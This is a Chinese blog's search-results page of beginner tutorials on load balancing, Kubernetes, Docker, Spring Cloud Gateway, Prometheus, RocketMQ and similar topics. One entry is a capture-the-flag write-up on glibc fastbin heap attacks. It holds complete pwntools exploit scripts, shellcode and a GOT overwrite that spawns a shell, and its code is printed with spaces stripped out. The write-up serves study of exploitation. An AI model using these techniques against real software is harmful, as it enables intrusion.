搜索[快速入门]结果-低调大师优秀个人博客

精选列表

搜索[快速入门]，共10000篇文章

负载均衡概念入门

当个人电脑刚刚开始走进人们工作和生活领域时，一个家庭通常最多只有1台电脑。孩子们白天使用电脑玩游戏，而大人们晚上通过电脑在论坛上灌水。但现如今只有一台电脑的家庭很容易出现每个人在同一时间都需要使用电脑的情况。这或多或少与IT行业发生的情况相同。因为计算机已经变得越来越普遍了，对服务和服务器的需求已经增加到它们可能因为过度使用而宕机的程度。幸运的是，我们现在有负载均衡的概念来帮助我们处理这一需求。什么是负载均衡？负载均衡是一个通用的术语，指的是为了确保你所管理的资源得到有效分配而做的任何事情。对于网络服务器的系统管理员来说，负载均衡通常意味着确保网络服务器软件（如Nginx）配置了足够的worker节点以处理激增的访客。换句话说，如果一个网站突然变得非常受欢迎，其访客数量在几分钟之内翻了几倍，运行服务器的软件必须能够对这一情况做出反应，而不会让用户感到访问变得不流畅。对于简单的站点来说，只需要进行简单的配置即可，但对于具有动态内容并且每个用户几个数据库查询的复杂站点，这可能是一个难以处理的问题。这个问题本应随着云计算的发展而解决，但是，当一个网络应用遇到意外的激增时，也有可能无法及时进行扩容。当谈及负载均衡的时候，请记住一点分布式资源并不意味着均匀分配。并不是所有任务都一直需要所有可用的资源。一个智能的负载均衡策略应该只在合适的时候为用户和任何提供资源。当然，这通常是开发工程师处理而不是IT基础架构部门的工作。异步应用可以当用户短暂离开时而不在服务器上占用有价值的资源。负载均衡的工作原理负载均衡通过在多个计算节点上分布工作负载而避免了瓶颈。那些节点可能是数据中心的物理服务器、云端中的容器、面向边缘计算场景设置的服务器、在复杂应用程序框架中的Java虚拟机（Java Virtual Machines）或者运行在单个Linux服务器上的daemon。具体实现原理是将大问题拆分成若干个小任务，并为每个任务分配指定计算机。例如，对于需要用户登录的网页，网页可能被托管在Server A上，与此同时登陆页面以及所有身份验证lookups被托管在Server B上。这种部署方式可以使得一个新用户登录到账号上时无需从其他活跃用户处使用资源。云端负载均衡云计算使用容器，所以通常没有独立的物理服务器来处理不同的任务（实际上，有许多独立的服务器，但它们被集中在一起，作为一个计算 "大脑"）。相反，一个 "pod "是由几个容器创建的。当一个pod由于其用户或任务负载而开始耗尽资源时，会生成一个相同的pod。Pod之间共享存储和网络资源，每个pod在创建时被分配到一个计算节点。pod可以根据负载的需要创建或销毁，这样，无论有多少用户，用户都能体验到一致的服务质量。边缘计算边缘计算在进行负载均衡时需要考虑到物理世界。云是一个分布式系统，但在实际上，云的节点通常集中在几个数据中心。用户离运行云的数据中心越远，他们就必须克服更多的物理障碍以获得最佳服务。即使有光纤连接和适当的负载均衡，位于3000公里外的服务器的响应时间也可能比300公里外的服务器响应时间更长。边缘计算将计算节点带到云的“边缘”以试图弥合地理鸿沟，从而形成一种用于云端的卫星网络，所以它在良好的负载均衡中也发挥了作用。什么是负载均衡算法？负载均衡有很多策略，它们的复杂程度取决于所涉及的技术和需求的不同。负载均衡不一定很复杂，即使使用Kubernetes或Keepalived这样的专业软件，也要从一开始就进行负载均衡。当你的应用程序可以自己采取简单的预防措施时，不要依赖容器来均衡负载。如果你从一开始就把你的应用程序设计成模块化且短暂的，那么你就会从巧妙的网络设计、容器编排以及未来的任何技术所带来的负载均衡机会中受益。一些流行的算法可以指导你作为一个应用开发者或网络工程师的工作，包括：将任务按顺序分配给服务器（这通常被称为轮询调度 round-robin）将任务分配给目前最不繁忙的服务器将任务分配到响应时间最好的服务器上随机地分配任务这些原则可以结合或加权，例如，在分配特别复杂的任务时，偏向于一个组中最强大的服务器。编排是常用的，这样管理员就不必为负载均衡鼓捣出完美的算法或策略，尽管有时要由管理员来选择使用哪种负载均衡方案的组合。期待意外的发生负载均衡并不是真正要确保你的所有资源在整个网络中得到均匀使用。负载均衡是指即使在意外情况发生时也要确保可靠的用户体验。良好的基础架构可以承受计算机宕机、应用程序过载、网络流量的猛烈攻击和用户错误。你可以开始思考如何让服务具有弹性，并从头开始设计相应的负载均衡。原文链接： https://opensource.com/article/21/4/load-balancing

2021-05-08

PWN入门（Fastbin Attack）

fastbin 大小： 32位：16-64字节 0x10-0x40 64位：32-128字节 0x20-0x80 chunk 的大小而不是申请的内存的大小（申请的内存加上 chunk 头） fastbinsY 是一个数组，相同大小的 chunk 放在一个数组元素指向的链表里面单向链表后进先出，fastbinsY 数组中每一个元素指向该链表的尾结点，尾结点在通过 fd 指针指向前一个节点例如： free(ptr1); free(ptr2); 最后那么是这样的 fastbin -> ptr2 -> ptr1 空闲的 fastbin chunk 不会被合并，不会修改 chunk 头拿这个例子做一下实验 #include<stdio.h>voidmain(){char*a1=malloc(0x10);memset(a1,0x41,0x10);char*a2=malloc(0x10);memset(a2,0x42,0x10);char*a3=malloc(0x10);memset(a3,0x43,0x10);char*a4=malloc(0x30);memset(a4,0x44,0x30);char*a5=malloc(0x30);memset(a5,0x45,0x30);printf("mallocdone!\n");free(a1);free(a2);free(a3);free(a4);free(a5);printf("freedone\n");} 可以看出链表来，后释放的 fd 指向上一个的，而不同大小的不会指向 Fastbin Double Free wiki 上的描述，可以看到 chunk1 的 fd 会指向 chunk2 那么如果 chunk1 是我们可控的那么就可以申请任意地址的 fastbin House Of Spirit 又是全新的知识 Orz 在目标地址伪造 fastbin chunk，然后释放掉，从而达到分配指定地址的 chunk 的目的有一些条件： fakechunk的ISMMAP位不能为1，因为free时，如果是mmap的chunk，会单独处理 fakechunk地址需要对齐，MALLOC_ALIGN_MASK fakechunk的size大小需要满足对应的fastbin的需求，同时也得对齐 fakechunk的nextchunk的大小不能小于2*SIZE_SZ，同时也不能大于av->system_mem fakechunk对应的fastbin链表头部不能是该fakechunk，即不能构成doublefree的情况 #include<stdio.h>#include<stdlib.h>intmain(){malloc(1);fprintf(stderr,"Wewilloverwriteapointertopointtoafake'fastbin'region.Thisregioncontainstwochunks.\n");unsignedlonglong*a,*b;unsignedlonglongfake_chunks[10]__attribute__((aligned(16)));fprintf(stderr,"Thefirstone:%p\n",&fake_chunks[0]);fprintf(stderr,"Thesecondone:%p\n",&fake_chunks[4]);fake_chunks[1]=0x20;//thesizefake_chunks[5]=0x1234;//nextsizefake_chunks[2]=0x4141414141414141LL;fake_chunks[6]=0x4141414141414141LL;fprintf(stderr,"Overwrittingourpointerwiththeaddressofthefakeregioninsidethefakefirstchunk,%p.\n",&fake_chunks[0]);a=&fake_chunks[2];fprintf(stderr,"Freeingtheoverwrittenpointer.\n");free(a);fprintf(stderr,"Nowthenextmallocwillreturntheregionofourfakechunkat%p,whichwillbe%p!\n",&fake_chunks[0],&fake_chunks[2]);b=malloc(0x10);fprintf(stderr,"malloc(0x10):%p\n",b);b[0]=0x4242424242424242LL;} 通过构造 fake chunk，然后把它给释放掉，这样再次申请相同大小的 chunk 的时候就会匹配到这里 house-of-spirit 是一种通过堆的 fastbin 机制来辅助栈溢出的方法如果栈溢出的时候溢出的长度不能覆盖掉返回地址的但是却可以覆盖栈上面一个即将 free 的指针的话，我们可以把这个指针覆盖为栈上的某一个地址，并且把这个地址上伪造一个 chunk，free 之后再次 malloc 就可以申请到栈上面伪造的那一块，这时候就有可能改写返回地址了通过上面那个程序直观的看一下 gcc -g house_of_spirit.c 首先在程序的第 14 行下个断点 b 14 运行到这里可以看到 fake_chunk 目前还没有被我们写入我们直接让他写完，再来看一下，已经构造出 fake chunk 了对 fake_chunk 进行 free 之后可以看一下 fastbin 现在已经是有了我们构造的那个 fake_chunk 了接下来再次 malloc 一个相同大小的 chunk 就会把这里申请过去 b=malloc(0x10);b[0]=0x4242424242424242LL; 构造 chunk 的时候要注意绕过一些检查：后面那三个特殊的标志位前两个必须都为 0，写 size 位的时候直接 0xN0就可以了，然后大小要注意符合 fastbin 的大小，next chunk 的大小也要注意，必须大于 2*SIZE_SZ，小于 av->system_mem 64位下：16< next chunk 的 size < 128 Alloc to Stack 通过修改 fd 指针，指向栈上，从而申请栈上的空间，进而控制返回地址 Arbitrary Alloc 跟上一个的区别在于这个是往任何可写的地方去分配 chunk 2014 hack.lu oreo 先随便申请两个看一下结构 add('1'*20,'a'*20)add('2'*20,'b'*20) 可以看到申请的第二个上有一个指向第一个的指针那如果第 2 个的 name 再多写一点，就可以覆盖掉这个指针了 name='a'*27+elf.got['puts'] 这时候再去 show 就能拿到 puts 的真实地址了，拿到之后就可以计算出 libc 的地址，进而拿到 system 和 '/bin/sh' 的地址接下来需要伪造一个 chunk，因为枪支的 chunk 大小是 0x40的，而那个计数的东西在 bss 段中 0x804A2A4 的位置，每 add 一个就会 +1，可以用来作为 fake chunk 的 size，只需要多申请几个就可以这时候可以同时把最后一个的指针改为 fake chunk 的地址（0x804A2A4 + 0x4） count=1whilecount<0x3f:add('a'*27+p32(0),'b')count=count+1payload='a'*27+p32(0x0804a2a8)add(payload,25*'a') 这样 fake chunk 的 size 位就构造好了，同时最后一个 chunk 的指向了 fake chunk 还需要绕过一些检测：对齐、fake chunk 的 size 的大小、next chunk 的 size 大小、标记位检查来看一下那个 Leave a Message 功能，他会往 0x804A2A8 指向的地方也就是 0x804A2C0 读取内容我么可以通过 Leave a Message 往那个地方去写来帮助 fake chunk 绕过检查，比如： payload=p8(0)*0x20+p32(0x40)+p32(0x100)payload=payload.ljust(52,'b')payload+=p32(0)payload=payload.ljust(128,'c')leave(payload) 首先是 0x20 的占位留给 fake chunk，然后是 fake chunk 的 size，接下来是 next chunk 的 size 此时内存布局：释放的时候会把之前修改的指针指向的那个给释放掉，然后再去申请的时候就可以申请到伪造的那个 chunk 然后通过把 0x0x804A2A8 的地方改成某个函数的 got 表项再通过 Leave a Message 功能往改掉的那个地址上写内容以此来覆盖 got 表项的内容 payload=p32(elf.got['strlen']).ljust(20,'a')add('b'*20,payload)leave(p32(sys_addr)+';/bin/sh\x00') 这里覆盖的是 strlen 的 got 表的内容为 system 的地址 Leave a Message 功能里面调用了一个函数，其中有 strlen 相当于 system(p32(sys_addr) + ";/bin/sh") exp： frompwnimport*context.log_level='debug'p=process('./oreo')elf=ELF('./oreo')libc=ELF('./libc.so.6')defcmd(choice):p.sendline(str(choice))defadd(name,description):cmd(1)p.sendline(name)p.sendline(description)defshow():cmd(2)p.recvuntil('===================================\n')deforder():cmd(3)defleave(notice):cmd(4)p.sendline(notice)defstats():cmd(5)add('1'*20,'a'*20)name='a'*27+p32(elf.got['puts'])add(name,'b'*20)show()p.recvuntil('===================================\n')p.recvuntil('Description:')puts_addr=u32(p.recvuntil('\n',drop=True)[:4])printhex(puts_addr)libc_base=puts_addr-libc.symbols['puts']sys_addr=libc_base+libc.symbols['system']binsh_addr=libc_base+next(libc.search('/bin/sh'))count=1whilecount<0x3f:add('a'*27+p32(0),'b')count=count+1payload='a'*27+p32(0x0804a2a8)add(payload,25*'a')payload=p8(0)*0x20+p32(0x40)+p32(0x100)payload=payload.ljust(52,'b')payload+=p32(0)payload=payload.ljust(128,'c')leave(payload)order()p.recvuntil('Okayordersubmitted!\n')payload=p32(elf.got['strlen']).ljust(20,'a')add('b'*20,payload)leave(p32(sys_addr)+';/bin/sh\x00')p.interactive() L-CTF2016–pwn200 这里的 v2 是在 0x30 的位置，而 read 读入的时候可以读入 0x30，但是不会再末尾自己加上 \x00，所以如果输满了可以把后面的 rbp 给泄露出来 buf 在 rbp-0x40，dest 指针在 rbp-0x8，所以 buf 的最后八字节会把 dest 给覆盖掉在输入 id 的那里会把输入的 id 放到 rbp-0x38 那里首先通过 read 函数来泄露出来 rbp 中保存的地址 shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"payload=shellcode.ljust(46,'a')payload+='bb'p.send(payload)p.recvuntil('bb')leak_addr=p.recvuntil(',w')[:-3]leak_addr=u64(leak_addr.ljust(8,'\x00'))fake_addr=leak_addr-0x90shellcode_addr=leak_addr-0x50 箭头指向的是 rbp，0xe0-0x90=0x50，所以 shellcode 的地址是在泄漏的那个地址减 0x50 处因为是先输入 id 再输入 money，所以那个 id 是在 money 下面的，可以通过 id 来伪造下一个堆块的 size（在一个范围内就可以，不能小于 2 * SIZE_SZ，同时也不能大于av->system_mem） p.recvuntil('id~~?')p.sendline('48') 然后在输入 money 的时候伪造一个 chunk，并且覆盖掉 dest p.recvuntil('money~')payload=p64(0)*5+p64(0x41)payload=payload.ljust(0x38,'\x00')+p64(fake_addr)p.send(payload) 这是构造的 fake chunk emmm，要是再减去 0x8 就更好看了看一下栈上的结构，最上面是构造的 chunk，下面是 id（作为 next chunk size）然后是 shellcode以及之前泄露的地址先释放掉让伪造的 chunk 进入到 fastbin，然后再申请就申请到了伪造的 chunk，这时候覆盖掉 rip 为 shellcode 的地址就可以拿到 shell 这里有点疑惑为啥会把那个伪造的 chunk 放到 fastbin？还是没把程序的功能理顺，我们把 dest 给覆盖掉了，覆盖为了 fake chunk 的地址，然后 dest 放到了 ptr，后面 free 的时候是 free(ptr) 的 exp: frompwnimport*p=process("./pwn")shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"payload=shellcode.ljust(46,'a')payload+='bb'p.send(payload)p.recvuntil('bb')leak_addr=p.recvuntil(',w')[:-3]leak_addr=u64(leak_addr.ljust(8,'\x00'))fake_addr=leak_addr-0x90shell_addr=leak_addr-0x50print'shellcodeaddr:'+hex(shell_addr)print'fakeaddr:'+hex(fake_addr)print'leakaddr:'+hex(leak_addr)p.recvuntil('id~~?')p.sendline('48')p.recvuntil('money~')payload=p64(0)*5+p64(0x41)payload=payload.ljust(0x38,'\x00')+p64(fake_addr)p.send(payload)p.recvuntil('choice:')p.sendline('2')p.recvuntil('choice:')p.sendline('1')p.recvuntil('long?')p.sendline('48')p.recvuntil('\n48\n')payload='0'*0x18+p64(shell_addr)payload=payload.ljust(48,'\x00')p.send(payload)p.recvuntil('choice:')p.sendline('3')p.interactive() 本文分享自微信公众号 - 陈冠男的游戏人生（CGN-115）。如有侵权，请联系 support@oschina.cn 删除。本文参与“OSC源创计划”，欢迎正在阅读的你也加入，一起分享。

2020-08-19

Scala语言的入门

Scala 源代码被编译成Java字节码，所以它可以运行于JVM之上，并可以调用现有的Java类库二、Scala的安装 Scala下载地址三、Scala使用入门 1、交互式 scala> 1+

2020-08-14

JVM的入门知识

分区收集算法可以根据系统可接受的停顿时间，每次都快速回收若干个小区域的内存，以缩短垃圾回收时系统停顿的时间，最后以多次并行累加的方式逐步完成整个内存区域的垃圾回收。

2020-08-11

Kubernetes Ingress简单入门

随着该功能GA的临近，那么现在应该是一个合适的时机可以帮助新手快速了解Ingress的工作方式。

2020-05-26

MaxCompute 入门必知

大数据计算服务（MaxCompute，原名ODPS）是一种快速、完全托管的EB级数据仓库解决方案。

2020-04-29

java并发编程入门

1、入门介绍 1.1、实现线程的2种方式 package chapter2; /** * @author calebzhao<9 3 9 3 4 7 5 0 7 @ qq.com&

2019-12-26

web前端入门知识

web前端入门知识，给大家分享一些Web前端工程师要掌握的基础知识和技能，下面一起来看看。

2019-11-18

Dart 入门教程

[TOC] 一、开篇 dart 语言具有如下特性一切变量皆是对象，每个对象都是类的实例。int、double、函数、 null 等都是对象，所有对象都继承自 Object 类 dart 是强类型语言，但由于具备类型推导功能所以类型声明是可选的 dart 支持顶级函数、静态函数、实例函数，也允许在函数中嵌套函数，即局部函数。类似的，dart 也支持顶级变量、静态变量和实例变量 dart 没有关于 public、protected、private 的关键字。通过为变量标识符添加下划线前缀，表明该标识符对其库是私有的 .... 先来看个小例子 /** * 多行注释 */ void printString(String msg) { print("msg value: $msg"); } void main() { var msg = "H

2019-10-23

Kubernetes - 1 入门介绍

敏捷：持续集成和部署，通过快速的升级或回滚，提供可靠且频繁的容器映像构建和部署。分离：在构建时创建镜像，不依赖发布环境，将运行环境及基础架构分离。

2019-10-21

SBT无痛入门指南

对于每一个操作步骤，会分别针对Windows、Mac和Linux三个主流操作系统进行讲解，最终帮助你快速构建一个可运行的Scala开发环境。

2019-09-16

Dubbo实战(一) - 入门

1.3 分布式服务架构当垂直应用越来越多，应用之间交互不可避免，将核心业务抽取出来，作为独立的服务，逐渐形成稳定的服务中心，使前端应用能更快速的响应多变的市场需求。

2019-08-21

Docker入门-数据挂载

Docker数据管理在容器中管理数据主要有两种方式：数据卷(Volumes) 挂载主机目录(Bind mounts) 数据卷数据卷是一个可供一个或多个容器使用的特殊目录，它绕过UFS,可以提供很多有用的特性：数据卷可以在容器之间共享和重用对数据卷的修改会立马生效对数据卷的更新，不会影响镜像数据卷默认会一直存在，即使容器被删除注意：数据卷的使用，类似于Linux下对目录或文件进行mount，镜像中的被指定为挂载点的目录中的文件会隐藏掉，能显示看的是挂载的数据卷。 Docker中提供了两种挂载方式，-v和-mount Docker新用户应该选择 --mount参数经验丰富的Docker使用者对-v或者--volume已经很熟悉了，但是推荐使用-mount参数。创建一个数据卷 docker volume create my-volume 查看指定数据卷的信息 docker volume inspect my-volume 启动一个挂载数据卷的容器：在用docker run命令的时候，使用--mount标记来将数据卷挂载到容器里。创建一个名为session-web的容器，并加载一个数据卷到容器中的/webapp目录。 # 方法一 docker run --name session-web -d -p 8888:8080 --mount source=my-volume,target=/webapp session-web:latest # 方法二 docker run --name session-web -d -p 8888:8080 -v my-volume:/webapp session-web:latest 删除数据卷 docker volume rm my-volume 数据卷是被设计用来持久化数据的，它的生命周期独立于容器，Docker不会在容器被删除后自动删除数据卷，并且也不存在垃圾回收这样的机制来处理没有任何容器引用的数据卷。如果需要在删除容器的同时移除数据卷。可以在删除容器的时候使用docker rm -v这个命令。无主的数据卷可能会占据很多空间，要清理请使用以下命令 docker volume prune 挂载主机目录使用--mount标记可以指定挂载一个本地主机的目录到容器中去 # 方法一 docker run --name session-web -d -p 8888:8080 \ -v my-volume:/webapp \ session-web:latest # 方法二 docker run --name session-web -d -p 8888:8080 \ --mount type=bind,source=/src/webapp,target=/opt/webapp session-web:latest 上面的命令加载主机的/src/webapp目录到容器的/opt/webapp目录。这个功能在进行测试的时候十分方便，比如用户可以放置一些程序到本地目录中，来查看容器是否正常工作。本地目录的路径必须是绝对路径以前,使用-v参数时如果本地目录不存在Docker会自动为你创建一个文件夹。现在,使用--mount参数时如果本地目录不存在，Docker会报错。Docker挂载主机目录的默认权限是读写，用户也可以通过增加readonly指定为只读。挂载一个本地主机文件作为数据卷 --mount标记也可以从主机挂载单个文件到容器中 # 方法一 docker run --rm -it \ --mount type=bind,source=#HOME/.bash_history,target=/root/.bash_history \ ubuntu:17.10 bash # 方法二 docker run --rm -it \ -v $HOME/.bash_history:/root/.bash_history \ ubuntu:17.10 bash

2019-08-17

大数据入门干货

3.数据存储之后，该如何通过运算快速转化成一致的格式，又该如何快速运算出自己想要的结果? 对此，MapReduce的分布式运算框架提出了解决方案。

2019-05-26

Spring Cloud Gateway 入门

文章首发于公众号《程序员果果》地址：https://mp.weixin.qq.com/s/wRwq99fNEW4gqgHvR9a-gQ 简介 Spring Cloud Gateway ，相比之前我们使用的 Zuul（1.x）它有哪些优势呢？Zuul（1.x）基于 Servlet，使用阻塞 API，它不支持任何长连接，如 WebSockets。Spring Cloud Gateway 使用非阻塞 API，支持 WebSockets，支持限流等新特性。本文首先用官方的案例带领大家来体验下Spring Cloud的一些简单的功能。创建工程创建工程springcloud工程，名为springcloud-gateway-hello pom.xml 内容如下： <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.1.2.RELEASE</version> <relativePath/>  </parent> <groupId>com.gf</groupId> <artifactId>springcloud-gateway-hello</artifactId> <version>0.0.1-SNAPSHOT</version> <name>springcloud-gateway-hello</name> <description>Demo project for Spring Boot</description> <properties> <java.version>1.8</java.version> <spring-cloud.version>Greenwich.RELEASE</spring-cloud.version> </properties> <dependencies> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-gateway</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> </dependencies> <dependencyManagement> <dependencies> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-dependencies</artifactId> <version>${spring-cloud.version}</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement> <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> </build> <repositories> <repository> <id>spring-milestones</id> <name>Spring Milestones</name> <url>https://repo.spring.io/milestone</url> </repository> </repositories> </project> 创建一个简单的路由 Spring Cloud Gateway 使用路由来处理对下游服务的请求。创建RouteLocator的Bean，在本案例将把所有请求路由到 http://httpbin.org。路由可以通过多种方式配置： @SpringBootApplication public class SpringcloudGatewayHelloApplication { public static void main(String[] args) { SpringApplication.run( SpringcloudGatewayHelloApplication.class, args ); } @Bean public RouteLocator myRoutes(RouteLocatorBuilder builder) { return builder.routes() .route(p -> p .path("/get") .filters(f -> f.addRequestHeader("Hello", "World")) .uri("http://httpbin.org:80")) .build(); } } 上述myRoutes方法RouteLocatorBuilder可以很容易地用于创建路由。除了创建路由之外，RouteLocatorBuilder还允许你在路由中添加各种 predicates(断言) 和 filters，以便根据特定条件更改请求和响应。上面创建的route可以让请求“/get”请求都转发到“http://httpbin.org/get”。在route配置上，我们添加了一个filter，该filter会将请求添加一个header,key为hello，value为world。启动项目，访问http://127.0.0.1:8080/get，显示如下： { "args": { }, "headers": { "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,zh-TW;q=0.8", "Cache-Control": "max-age=0", "Connection": "close", "Forwarded": "proto=http;host=\"127.0.0.1:8080\";for=\"127.0.0.1:55607\"", "Hello": "World", "Host": "httpbin.org", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36", "X-Forwarded-Host": "127.0.0.1:8080" }, "origin": "127.0.0.1, 124.74.78.150", "url": "http://127.0.0.1:8080/get" } 可见当向gateway工程请求“/get”,gateway会将工程的请求转发到“http://httpbin.org/get”，并且在转发之前，加上一个filter，该filter会将请求添加一个header,key为hello，value为world。使用Hystrix 在spring cloud gateway中可以使用Hystrix。Hystrix是 spring cloud中一个服务熔断降级的组件，在微服务系统有着十分重要的作用。Hystrix 在 spring cloud gateway中是以filter的形式使用的，代码如下： @Bean public RouteLocator myRoutes(RouteLocatorBuilder builder) { return builder.routes() .route(p -> p .path("/get") .filters(f -> f.addRequestHeader("Hello", "World")) .uri("http://httpbin.org:80")) .route(p -> p .host("*.hystrix.com") .filters(f -> f.hystrix(config -> config .setName("mycmd") .setFallbackUri("forward:/fallback"))) .uri("http://httpbin.org:80")) .build(); } 在上面的代码中，我们使用了另外一个router，该router使用host去断言请求是否进入该路由，当请求的host为 “*.hystrix.com”，都会进入该router，该router中有一个hystrix的filter,该filter可以配置名称、和指向性fallback的逻辑的地址，比如本案例中重定向到了“/fallback”。现在写的一个“/fallback”的l逻辑： @RequestMapping("/fallback") public String fallback() { return "fallback"; } 使用curl执行以下命令： curl --dump-header - --header 'Host: www.hystrix.com' http://localhost:8080/delay/3 返回的响应为： HTTP/1.1 200 OK Content-Type: text/plain;charset=UTF-8 Content-Length: 8 fallback 可见，带host www.hystrix.com 的请求执行了hystrix的fallback的逻辑。源码 https://github.com/gf-huanchupk/SpringCloudLearning/tree/master/chapter13/springcloud-gateway-hello

2019-05-20

Prometheus入门+grafana集成

开始使用Prometheus $ systemctl start prometheus $ netstat -lntp tcp6 0 0 :::9090 :::* LISTEN 19824/./prometheus 在浏览器访问：http://ip:9090/graph 。Prometheus会把自身作为一个项目进行自监控，查看收集到监控项：http://172.16.180.129:9090/metrics (如果是首次启动，需要等待30s左右的时间) 使用内置表达式查看数据地址：http://ip:9090/graph Prometheus内置监控项 prometheus_target_interval_length_seconds ，将该监控项直接输入console查询，可获取数据： ![image-20190322132500188](/Users/adai/Library/Application Support/typora-user-images/image-20190322132500188.png) 使用prometheus监控服务器上面用Prometheus本身的数据简单演示了监控数据的查询，这里我们用一个监控服务器状态的例子来更加直观说明。为监控服务器CPU、内存、磁盘、I/O等信息，首先需要安装node_exporter。node_exporter的作用是用于机器系统数据收集。安装node_exporter node_exporter也是用Golang实现，直接使用预编译的二进制文件部署，开箱即用。 $ cd /home/prometheus && wget https://github.com/prometheus/node_exporter/releases/download/v0.17.0/node_exporter-0.17.0.linux-amd64.tar.gz $ tar zxvf node_exporter-0.17.0.linux-amd64.tar.gz $ mv node_exporter-0.17.0.linux-amd64 /usr/local/prometheus/node_exporter 创建systemd服务 $ vim /usr/lib/systemd/system/node_exporter.service [Unit] Description=node_exporter After=network.target [Service] Type=simple User=prometheus ExecStart=/usr/local/prometheus/node_exporter/node_exporter Restart=on-failure [Install] WantedBy=multi-user.target 启动node_exporter $ systemctl start node_exporter $netstat -lntp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp6 0 0 :::9100 :::* LISTEN 24126/node_exporter 修改prometheus.yml，加入下面的监控目标(node_exporter默认的抓取地址为http://ip:9100) - job_name: 'linux' static_configs: - targets: ['localhost:9100'] labels: instance: node1 说明：prometheus.yml中一共定义了两个监控，一个是监控prometheus自身服务，另一个是监控Linux服务器。这里给一个完整示例： scrape_configs: - job_name: 'prometheus' static_configs: - targets: ['localhost:9090'] - job_name: 'linux' static_configs: - targets: ['localhost:9100'] labels: instance: node1 重启prometheus服务 $ systemctl restart prometheus 在Prometheus Web查看监控的目标：访问Prometheus Web，在Status->Targets页面下，我们可以看到我们配置的两个Target（linux和prometheus），它们的State为UP。查看memory使用情况 ![image-20190322134529082](/Users/adai/Library/Application Support/typora-user-images/image-20190322134529082.png) Prometheus Web界面自带的图表是非常基础的，比较适合用来做测试。如果要构建强大的Dashboard，还是需要更加专业的工具才行。接下来我们将使用Grafana来对Prometheus采集到的数据进行可视化展示。 prometheus集成grafana 在Grafana中添加Prometheus数据源：Configuration——DataSource——"add new DataSource"——Prometheus http URL：http://localhost:9090 access：server 上述配置完成后需要导入node-exporter-server-metrics 的数据模板到grafana，两种导入方法：通过url导入：grafana——菜单栏加号➕——import—— 输入URL https://grafana.com/dashboards/405 —— 导入——Options (Name、Folder、Prometheus) —— import 下载后导入：grafana——菜单栏加号➕——import—— 输入下载好的json文件 ——import 完成上述操作后即可看到node-exporter采集的数据。在Dashboards上选Node Exporter Server Metrics模板，就可以看到被监控服务器的CPU, 内存, 磁盘等统计信息。在Dashboards上选Prometheus Status模板，查看Prometheus各项指标数据。

2019-03-22

大数据入门学习？

大数据入门学习？微笑数据工程师 2019-03-17 10:55 第一部分：了解大数据平台架构大数据有非常大的价值，不管是从帮助企业创造营收还是从提高效率、节省企业成本角度。

2019-03-16

python装饰器入门

python装饰器入门目录 python装饰器初级认识装饰器知识储备装饰器演变 python装饰器初级认识装饰器概念: 简单地说：他们是为其他函数的新增功能的函数原则 : 不修改被装饰函数的源代码

2019-02-28

RocketMQ入门篇

RocketMQ整体结构如上图所示，整体可以分成4个角色，分别是：Producer，Consumer，Broker以及NameServer； 1.NameServer 可以理解为是消息队列的协调者，Broker向它注册路由信息，同时Client向其获取路由信息，如果使用过Zookeeper，就比较容易理解了，但是功能比Zookeeper弱； NameServer本身是没有状态的，并且多个NameServer直接并没有通信，可以横向扩展多台，Broker会和每一台NameServer建立长连接； 2.Broker Broker是RocketMQ的核心，提供了消息的接收，存储，拉取等功能，一般都需要保证Broker的高可用，所以会配置Broker Slave，当Master挂掉之后，Consumer然后可以消费Slave； Broker分为Master和Slave，一个Master可以对应多个Slave，Master与Slave的对应关系通过指定相同的BrokerName，不同的BrokerId来定义，BrokerId为0表示Master，非0表示Slave； 3.Producer 消息队列的生产者，需要与NameServer建立连接，从NameServer获取Topic路由信息，并向提供Topic服务的Broker Master建立连接；Producer无状态，看集群部署； 4.Consumer 消息队列的消费者，同样与NameServer建立连接，从NameServer获取Topic路由信息，并向提供Topic服务的Broker Master，Slave建立连接； 5.Topic和Message Queue 在介绍完以上4个角色以后，还需要重点介绍一下上面提到的Topic和Message Queue；字面意思就是主题，用来区分不同类型的消息，发送和接收消息前都需要先创建Topic，针对Topic来发送和接收消息，为了提高性能和吞吐量，引入了Message Queue，一个Topic可以设置一个或多个Message Queue，有点类似kafka的分区(Partition)，这样消息就可以并行往各个Message Queue发送消息，消费者也可以并行的从多个Message Queue读取消息；单机配置和部署以下部署在centos7，jdk1.8，rocketmq4.3.2；启动RocketMQ的顺序是先启动NameServer，然后再启动Broker； 1.NameServer启动 [root@localhost bin]# ./mqnamesrv Java HotSpot(TM) 64-Bit Server VM warning: Using the DefNew young collector with the CMS collector is deprecated and will likely be removed in a future release Java HotSpot(TM) 64-Bit Server VM warning: UseCMSCompactAtFullCollection is deprecated and will likely be removed in a future release. The Name Server boot success. serializeType=JSON 如上日志表示启动成功，默认端口为9876； 2.Broker启动 [root@localhost bin]# ./mqbroker Java HotSpot(TM) 64-Bit Server VM warning: INFO: os::commit_memory(0x00000005c0000000, 8589934592, 0) failed; error='Cannot allocate memory' (errno=12) # # There is insufficient memory for the Java Runtime Environment to continue. # Native memory allocation (mmap) failed to map 8589934592 bytes 